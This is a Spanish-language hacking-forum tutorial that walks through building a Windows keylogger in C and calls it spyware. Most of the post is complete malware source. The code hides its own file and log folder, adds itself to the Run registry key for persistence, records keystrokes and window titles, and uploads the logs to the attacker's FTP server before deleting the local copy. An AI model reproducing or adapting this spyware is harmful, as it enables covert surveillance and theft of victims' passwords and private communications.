Hola compañeros de Comundidad Underground Hispana, mi nombre es SokoLeonardo.
Hoy les traigo un buen tutorial para hacer un keylogger en lenguaje C.
Este tutorial la hice para nuestra e-zine, pero kj nunca volvio al foro y parece que la e-zine quedo en olvido, asi que me tomo el atrevimiento para poderlo publicar porque ES MIO.
Para empezar debes tener un conocimiento del lenguaje de programacion C, si no lo tienes busca en Google el manual "Fundamentos de programación en C, por Nacho Cabanes" no es complejo pero sé que sirve para todo.
Si no sabes lo que es un Keylogger yo se los dire: Un Keylogger es un programa/archivo que captura las teclas (pulsasiones) y las guarda en un archivo oculto, pasado un momento lo sube a un server privado. Por esto le digo virus espia.
Si se habran dado cuenta, soy de Argentina, en este foro existe gente española, peruana, chilena, de todo un poco, y vos sos bienvenido tambien.
Asi que empezamos a usar codigo:
1) debemos añadir los archivos cabeceras "windows.h", "stdio.h" y "stdlib.h" y la funcion "main" a nuestro codigo fuente:
Código:
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
/*declaracion de
variables y constantes*/
/*declaracion de
funciones o procedimientos*/
int main(int argc, char *argv[])
{
}
Ya tenemos un comienzo, ahora sigamos...
2) Ahora, hagamos algo que este bueno, pongamosle un metodo de ocultarse al Keylogger: Consiste, en que si el Keylogger no esta oculto que se oculte.
a) revisamos los atributos del archivo.
b) nos fijamos si en los atributos esta el atributo "oculto".
c) si no esta oculto le añadimos "oculto" a los atributos.
Código:
// paso a)
int attribs;
attribs = GetFileAttributes(argv[0]);
// paso b)
if(!(attribs&FILE_ATTRIBUTE_HIDDEN)){
//paso c)
attribs |= FILE_ATTRIBUTE_HIDDEN;
SetFileAttributes(argv[0], attribs);
}
De esta manera se oculta automaticamente el keylogger despues de abrirse, ahora el user no podra borrarlo.
Tambien necesitamos crear una carpeta para poner alli los archivos que se graben y ocultarla.
Pero antes especifiquemos los datos de esa carpeta en el principio del codigo:
Código:
/*nombre del archivo donde se graban las teclas*/
#define FILENAMELOGS "logs.text"
/*nombre de la carpeta que se creara, ocultara, y guardara los archivos.*/
#define DIRLOGS "LogK"
/*un puntero para reservar memoria, contendra la ruta del archivo*/
char * PathLog;
Y creamos la carpeta:
Código:
attribs = GetFileAttributes(DIRLOGS);
/*Vemos si existe la carpeta*/
if(attribs==-1){
/*Se crea la carpeta DIRLOGS*/
CreateDirectory(DIRLOGS, NULL);
attribs = GetFileAttributes(DIRLOGS);
/*Se oculta la carpeta*/
SetFileAttributes(DIRLOGS, attribs|FILE_ATTRIBUTE_HIDDEN);
}
/*Ahora pondremos en una cadena la ruta entera del archivo*/
PathLog = (char*)malloc(strlen(DIRLOGS)+strlen(FILENAMELOGS)+1);
sprintf(PathLog, "%s/%s", DIRLOGS, FILENAMELOGS);
Si no existe la carpeta se crea una y se la oculta.
3) Necesitamos que el keylogger se ejecute siempre que Windows se inicie. No te voy a explicar lo que es el registro de windows, para eso vas a buscar en internet.
En el registro encontraremos una clave "Run", en ella se encuentran los programas que se inician despues de Windows.
En realidad la clave Run almacena los comandos a ejecutar cada vez que inicia Windows, asi que hablando de batch... podriamos ejecutar comandos de batch tambien, o comandos que usamos siempre que abrimos cmd, por ejemplo comando dir. O para ser mas sierto, es igual que ir a inicio>ejecutar>valor.
Los comandos deben tener comillas (") al principio y final. Ya que si no, de lo contrario ejecutariamos mal al comando.
Asi que hablemos de que el comando es el mismo Keylogger, los comandos de batch son archivos que aceptan parametros, si la ruta de nuestro keylogger tendria un espacio, entonces se ejecutaria mal, primero el comando y luego sus parametros. Ejemplo: c:\windows\mi keylogger\keyl.exe. En este caso se ejecutaria c:\windows\mi, con el parametro keylogger\keyl.exe. Por eso hay que poner comillas al principio y al final, reconociendo todo como un solo comando.
Necesitamos el dato NAME_EXE definido al principio del programa, usemos:
Código:
#define NAME_EXE "keylogger.exe"
Y ahora hagamos lo explicado, en la funcion main y debajo de todo lo anterior:
Código:
/* pongamos comillas (")*/
int argvlen = strlen(argv[0]);
char * path2;
path2 = (char*)malloc(argvlen+3);
path2[0] = '"';
path2[1] = 0;
strcat(path2, argv[0]);
path2[argvlen+1] = '"';
path2[argvlen+2] = 0;
HKEY keyReg;
/* Abrimos la clave Run */
RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &keyReg);
/* Escribimos en la calve Run */
RegSetValueEx(keyReg, NAME_EXE, 0, REG_SZ, path2, strlen(path2));
/* Cerramos clave y guardamos cambios. */
RegCloseKey(keyReg);
/* liberamos memoria ocupada */
free(path2);
Ahora nuetro Keylogger ya se ejecutaria siempre despues de Windows.
El registro de windows es bueno entenderlo para el hack.
4) Ahora necesitamos grabar las teclas, para eso tenemos que crear un bucle que revisa el estado del teclado cada 10 milisegundos para no gastar tanta CPU.
Código:
while(1){
//esperamos 10 ms
Sleep(10);
}
...ya creamos el bucle ahora falta grabar teclas dentro del bucle.
Necesitamos la funcion GetAsyncKeyState, esta tiene un solo parametro, y es un byte (numero de 1 a 254 en este caso) siendo cada numero la tecla a revisar. Esta funcion devuelve -077777 (numero octal) si la tecla esta presionada, de lo contrario devuelve otro numero.
Tambien usaremos un bucle switch para comprobar cada valor y saber que guardaremos en el archivo con teclas capturadas.
Y crearemos una funcion savebyte que grave cada valor capturado en un archivo, no hace falta que te fijes en ella, solo ten en cuenta que al pasarle un numero grava su valor en el archivo.
Código:
#define FILENAMELOGS "logs.text"
FILE * fpfile;
BOOL savebyte(BYTE k){
/* nos fijamos si podemos usar el archivo en modo escritura*/
if((fpfile = fopen(PathLog, "a"))==NULL)
return -1;
/*mostramos en pantalla el valor a gravar*/
printf("%c", k);
/*lo gravamos en el archivo*/
fputc(k, fpfile);
/*cerramos el archivo usado*/
fclose(fpfile);
return 0;
}
BYTE key;
while(1){
//esperamos 10 ms
Sleep(10);
for(key=8; key<222; key++){
if(GetAsyncKeyState(key)==-077777){
switch(key){
/* teclas */
case VK_BACK:
/* un retroceso de escritura */
savebyte('<');
break;
case VK_RETURN: // tecla enter.
/* una nueva
< linea >
*/
savebyte('\n');
break;
case ' ':
/* un espacio */
savebyte(key);
break;
case '0':
case '1':
//escribe de 0 a 9
case '9':
/* un numero */
savebyte(key);
break;
case 'A': //'A' vale 65, 'B' 66.
case 'B':
//escribe de A hasta Z mayusculas
case 'Y': //'Y' vale 89 y 'Z' 90.
case 'Z':
/* Verificar estado de Caps Lock y Shift */
if(((GetKeyState(VK_SHIFT)<0)&&(!GetKeyState(VK_CAPITAL))) ||
(GetKeyState(VK_CAPITAL)&&(GetKeyState(VK_SHIFT)>=0)))
savebyte(key); //Mayus (ABC)
else
savebyte(key+32); //Minus (abc)
break;
case VK_NUMPAD0:
case VK_NUMPAD1:
case VK_NUMPAD2:
case VK_NUMPAD3:
case VK_NUMPAD4:
case VK_NUMPAD5:
case VK_NUMPAD6:
case VK_NUMPAD7:
case VK_NUMPAD8:
case VK_NUMPAD9:
/* un numero */
savebyte((key-VK_NUMPAD0)+48);
break;
}
}
}
}
Este codigo se puede leer como "todo el tiempo: esperemos 10 ms, despues aumentemos un numero de 8 a 222, si vemos que ese numero de tecla esta pulsado entonces revisamos que tecla corresponde escribir en el archivo".
5) Ahora necesitamos grabar el titulo de la ventana donde estamos espiando las teclas.
Consiste en que cada vez que se grabe una tecla, se revise si el user esta sobre una nueva ventana, si esta sobre una nueva ventana, entonces que grave su titulo de ventana.
Usaremos la palabra reservada static para una cadena que guarde el titulo de ventana.
Con static, hacemos que esa cadena este hasta el fin del programa, sin importar donde se declare la variable. Esto nos permitira que cada vez que se ejecute nuevamente una funcion, la cadena tenga el ultimo valor como la ultima vez que se modifico dentro de esa funcion.
Código:
void CaptureNwTitle(){
/*recuperamos el identificador de la ventana actual*/
HWND app;
app = GetForegroundWindow();
static char nwtitle[128];
static char title[128];
GetWindowText(app, nwtitle, 128);
/*Si el nuevo titulo es diferente al anterior, procedemos*/
if(strcmp(nwtitle, title)!=0){
GetWindowText(app, title, 128);
/*abrimos el archivo en modo lectura, si no falla grabamos y cerramos*/
if((fpfile = fopen(PathLog, "a"))!=NULL){
fprintf(fpfile, "\n\n##### Aplicacion: %s\n", title);
fclose(fpfile);
}
}
}
Este codigo debe ir despues antes de grabar una nueva tecla presionada, asi cada vez que se presiona una tecla, se graba el titulo de la ventana donde se teclea si es que es titulo diferente al anterior.
ponganlo asi:
Código:
...
if(GetAsyncKeyState(key)==-077777){
CaptureNwTitle(); //<<----
switch(key){
...
6) Ahora, solo nos falta conectar el keylogger a internet cada vez que el archivo de logs tenga un tamaño considerable.
Hay que poner la cabecera wininet.h, esta cabecera nos da funciones para protocolos HTTP y FTP, nosotros ocuparemos el FTP ya que podemos tener un servidor privado donde almacenar los datos.
Ahora, si no tenes una cuenta en un servidor FTP, busca en google, hay muchos provedores del servicio FTP, create una cuenta.
Vamos a lo mas simple antes que complicar las cosas...
Agregaremos los datos del servidor nuestro, y cada cuantos bytes (tamaño del archivo de logs) subir el archivo a nuestro servidor:
Código:
#define FTP_HOST "ip del servidor ftp" //ej 12.13.1.14...
#define FTP_USER "nombre de usuario del ftp"
#define FTP_PASS "clave de usuario"
#define FTP_DIR "/directorio de logs/"
#define FTP_PORT 21 //puerto ftp
/* Tamaño que debera tener el archivo logs para subirse por FTP */
#define FILE_BYTES_FOR_UPLOAD 1024 // 1 kb
Todo eso va al principio.
Ahora, debemos saber el tamaño del archivo de logs antes de subirlo. Crearemos una funcion para saber el tamaño del archivo.
Código:
long GetSizeFile(char * filename){
FILE * fp;
fp = fopen(filename, "rb");
if(fp==NULL)
return 0;
fseek(fp, 0, SEEK_END);
long size = ftell(fp);
fclose(fp);
return size;
}
Todo el tiempo, nuestro keylogger revisara el tamaño del archivo de logs antes de seguir grabando teclas, entonces, usemos la anterior funcion asi:
Código:
while(1){
Sleep(10);
if( GetSizeFile(PathLog) >= FILE_BYTES_FOR_UPLOAD){
//subir el archivo
}
for(key=8; key<222; key++){
if(GetAsyncKeyState(key)==-077777){
...
...
Entonces, ya sabemos cuando subir el archivo, y tambien tenemos los datos del servidor en el keylogger.
Ahora necesitamos que nuestro archivo de logs se guarde remotamente con un nombre especial, un nombre que tenga la hora en que se subio el archivo.
De esta manera los nuevos archivos de logs se iran ordenando en el directorio remoto (el reciente mas arriba) y asi podremos saber cual es el ultimo que fue subido.
Bueno si entendiste lo anterior seguimos adelante, necesitamos crear la funcion que obtenga la fecha y hora local en la PC donde actua el keylogger.
Es asi de sencilla:
Código:
char * GetMyTimeLocal(char*out){
SYSTEMTIME st;
GetLocalTime(&st);
sprintf(out, "TIME LOCAL=(%02d-%02d-%02d, %02d.%02d.%02d)",
st.wYear, st.wMonth, st.wDay,
st.wHour, st.wMinute, st.wSecond);
return out;
}
La funcion GetMyTimeLocal que hemos creado guarda la fecha y hora en una cadena que le hemos dado como parametro out.
La funcion GetLocalTime guarda numeros en una estructura SYSTEMTIME.
Vamos a usar nuestra funcion GetMyTimeLocal asi:
Código:
...
while(1){
Sleep(10);
if( GetSizeFile(PathLog) >= FILE_BYTES_FOR_UPLOAD){
char * filenameRemote = (char*)malloc(strlen(FTP_DIR)+strlen(FILENAMELOGS)+100+1);
if(filenameRemote==NULL)
continue;
sprintf(filenameRemote, "%s/%s", FTP_DIR, FILENAMELOGS);
char * mydate = (char*)malloc(100);
if(mydate==NULL)
continue;
GetMyTimeLocal(mydate);
strcat(filenameRemote, mydate);
//Subir archivo logs con la funcion UploadFile que crearemos
free(filenameRemote);
free(mydate);
}
for(key=8; key<222; key++){
if(GetAsyncKeyState(key)==-077777){
...
Asi por ejemplo, cuando nuestro archivo "logs.txt" tenga 1024 bytes de tamaño, se sube como "/directorio remoto/archivoremoto.txtTIME LOCAL=(2013-08-28, 10.06.21)".
Osea, que le hemos agregado la fecha local de la PC al final.
Ahora, ya debemos subir el archivo al servidor FTP. Crearemos la funcion UploadFile, asi:
Código:
short UploadFile(char * fileNameLocal, char * fileNameRemote){
/* pasamos a subir el archivo a servidor FTP */
HINTERNET hnet, connx;
/* Abrimos el internet */
if((hnet = InternetOpen(NULL, 0, NULL, NULL, 0))==NULL)
return -1;
/* Creamos una conexion con nuestros datos */
if((connx = InternetConnect(hnet, FTP_HOST, FTP_PORT, FTP_USER, FTP_PASS,
INTERNET_SERVICE_FTP, 0 ,0))==NULL)
return -1;
/* Creamos el directorio remoto (del servidor remoto), se crea si no existe*/
FtpCreateDirectory(connx, FTP_DIR);
/* Subimos el archivo a nuestro servidor FTP */
if(FtpPutFile(connx, fileNameLocal, fileNameRemote, FTP_TRANSFER_TYPE_BINARY, 0)==0)
return -1;
/* Cerramos las conexiones */
InternetCloseHandle(connx);
InternetCloseHandle(hnet);
return 0;
}
Esta funcion sube el archivo local a nuestro servidor remoto (con los datos que hemos dado del FTP).
Y la usamos asi:
Código:
...
strcat(filenameRemote, mydate);
if(UploadFile(PathLog, filenameRemote) != -1){
//Se subio correctamente. Debemos borrar el archivo.
DeleteFile(PathLog);
}
...
...
No olvides linkear la libreria "libwininet.a".
Si se sube correctamente el archivo, se borra el archivo local y se continua grabando teclas.
Ya hemos terminado nuestro keylogger, si armamos todo lo explicado nos queda asi:
Código:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <wininet.h>
/*nombre del keylogger*/
#define NAME_EXE "keylogger.exe"
/*nombre del archivo donde se graban las teclas*/
#define FILENAMELOGS "logs.text"
/*nombre de la carpeta que se creara, ocultara, y guardara los archivos.*/
#define DIRLOGS "LogK"
/*un puntero para reservar memoria, contendra la ruta del archivo*/
char * PathLog;
/*Puntero a archivo donde escribir los logs*/
FILE * fpfile;
/*nombre del archivo de logs*/
#define FILENAMELOGS "logs.text"
/* Datos del servidor FTP */
#define FTP_HOST "ip del servidor ftp" //ej 12.13.1.14...
#define FTP_USER "nombre de usuario del ftp"
#define FTP_PASS "clave de usuario"
#define FTP_DIR "/directorio de logs/"
#define FTP_PORT 21 //puerto ftp
/* Tamaño que debera tener el archivo logs para subirse por FTP */
#define FILE_BYTES_FOR_UPLOAD 1024 // 1 kb
BOOL savebyte(BYTE k){
/* nos fijamos si podemos usar el archivo en modo escritura*/
if((fpfile = fopen(PathLog, "a"))==NULL)
return -1;
/*mostramos en pantalla el valor a gravar*/
printf("%c", k);
/*lo gravamos en el archivo*/
fputc(k, fpfile);
/*cerramos el archivo usado*/
fclose(fpfile);
return 0;
}
void CaptureNwTitle(){
/*recuperamos el identificador de la ventana actual*/
HWND app;
app = GetForegroundWindow();
static char nwtitle[128];
static char title[128];
GetWindowText(app, nwtitle, 128);
/*Si el nuevo titulo es diferente al anterior, procedemos*/
if(strcmp(nwtitle, title)!=0){
GetWindowText(app, title, 128);
/*abrimos el archivo en modo lectura, si no falla grabamos y cerramos*/
if((fpfile = fopen(PathLog, "a"))!=NULL){
fprintf(fpfile, "\n\n##### Aplicacion: %s\n", title);
fclose(fpfile);
}
}
}
long GetSizeFile(char * filename){
FILE * fp;
fp = fopen(filename, "rb");
if(fp==NULL)
return 0;
fseek(fp, 0, SEEK_END);
long size = ftell(fp);
fclose(fp);
return size;
}
char * GetMyTimeLocal(char*out){
SYSTEMTIME st;
GetLocalTime(&st);
sprintf(out, "TIME LOCAL=(%02d-%02d-%02d, %02d.%02d.%02d)",
st.wYear, st.wMonth, st.wDay,
st.wHour, st.wMinute, st.wSecond);
return out;
}
short UploadFile(char * fileNameLocal, char * fileNameRemote){
/* pasamos a subir el archivo a servidor FTP */
HINTERNET hnet, connx;
/* Abrimos el internet */
if((hnet = InternetOpen(NULL, 0, NULL, NULL, 0))==NULL)
return -1;
/* Creamos una conexion con nuestros datos */
if((connx = InternetConnect(hnet, FTP_HOST, FTP_PORT, FTP_USER, FTP_PASS,
INTERNET_SERVICE_FTP, 0 ,0))==NULL)
return -1;
/* Creamos el directorio remoto (del servidor remoto), se crea si no existe*/
FtpCreateDirectory(connx, FTP_DIR);
/* Subimos el archivo a nuestro servidor FTP */
if(FtpPutFile(connx, fileNameLocal, fileNameRemote, FTP_TRANSFER_TYPE_BINARY, 0)==0)
return -1;
/* Cerramos las conexiones */
InternetCloseHandle(connx);
InternetCloseHandle(hnet);
return 0;
}
int main(int argc, char *argv[])
{
int attribs;
attribs = GetFileAttributes(argv[0]);
if(!(attribs&FILE_ATTRIBUTE_HIDDEN)){
attribs |= FILE_ATTRIBUTE_HIDDEN;
SetFileAttributes(argv[0], attribs);
}
attribs = GetFileAttributes(DIRLOGS);
/*Vemos si existe la carpeta*/
if(attribs==-1){
/*Se crea la carpeta DIRLOGS*/
CreateDirectory(DIRLOGS, NULL);
attribs = GetFileAttributes(DIRLOGS);
/*Se oculta la carpeta*/
SetFileAttributes(DIRLOGS, attribs|FILE_ATTRIBUTE_HIDDEN);
}
/*Ahora pondremos en una cadena la ruta entera del archivo*/
PathLog = (char*)malloc(strlen(DIRLOGS)+strlen(FILENAMELOGS)+1);
sprintf(PathLog, "%s/%s", DIRLOGS, FILENAMELOGS);
/* pongamos comillas (")*/
int argvlen = strlen(argv[0]);
char * path2;
path2 = (char*)malloc(argvlen+3);
path2[0] = '"';
path2[1] = 0;
strcat(path2, argv[0]);
path2[argvlen+1] = '"';
path2[argvlen+2] = 0;
HKEY keyReg;
/* Abrimos la clave Run */
RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &keyReg);
/* Escribimos en la calve Run */
RegSetValueEx(keyReg, NAME_EXE, 0, REG_SZ, path2, argvlen+2);
/* Cerramos clave y guardamos cambios. */
RegCloseKey(keyReg);
/* liberamos memoria ocupada */
free(path2);
unsigned short key;
while(1){
//esperamos 10 ms
Sleep(10);
if( GetSizeFile(PathLog) >= FILE_BYTES_FOR_UPLOAD){
char * filenameRemote = (char*)malloc(strlen(FTP_DIR)+strlen(FILENAMELOGS)+100+1);
if(filenameRemote==NULL)
continue;
sprintf(filenameRemote, "%s/%s", FTP_DIR, FILENAMELOGS);
char * mydate = (char*)malloc(100);
if(mydate==NULL)
continue;
GetMyTimeLocal(mydate);
strcat(filenameRemote, mydate);
if(UploadFile(PathLog, filenameRemote) != -1){
//Se subio correctamente. Debemos borrar el archivo
DeleteFile(PathLog);
}
free(filenameRemote);
free(mydate);
}
for(key=8; key<222; key++){
if(GetAsyncKeyState(key)==-077777){
CaptureNwTitle();
switch(key){
/* teclas */
case VK_BACK:
/* un retroceso de escritura */
savebyte('<');
break;
case VK_RETURN: // tecla enter.
/* una nueva
< linea >
*/
savebyte('\n');
break;
case ' ':
/* un espacio */
savebyte(key);
break;
case '0':
case '1':
case '2':
case '3':
case '4':
case '5':
case '6':
case '7':
case '8':
case '9':
/* un numero */
savebyte(key);
break;
case 'A': //'A' vale 65, 'B' 66.
case 'B':
case 'C':
case 'D':
case 'E':
case 'F':
case 'G':
case 'H':
case 'I':
case 'J':
case 'K':
case 'L':
case 'M':
case 'N':
case 'O':
case 'P':
case 'Q':
case 'R':
case 'S':
case 'T':
case 'U':
case 'V':
case 'W':
case 'X':
case 'Y':
case 'Z':
/* Verificar estado de Caps Lock y Shift */
if(((GetKeyState(VK_SHIFT)<0)&&(!GetKeyState(VK_CAPITAL))) ||
(GetKeyState(VK_CAPITAL)&&(GetKeyState(VK_SHIFT)>=0)))
savebyte(key); //Mayus (ABC)
else
savebyte(key+32); //Minus (abc)
break;
case VK_NUMPAD0:
case VK_NUMPAD1:
case VK_NUMPAD2:
case VK_NUMPAD3:
case VK_NUMPAD4:
case VK_NUMPAD5:
case VK_NUMPAD6:
case VK_NUMPAD7:
case VK_NUMPAD8:
case VK_NUMPAD9:
/* un numero */
savebyte((key-VK_NUMPAD0)+48);
break;
}
}
}
}
return 0;
}
Hasta luego, nos vemos en el foro
http://foro.el-hacker.com.
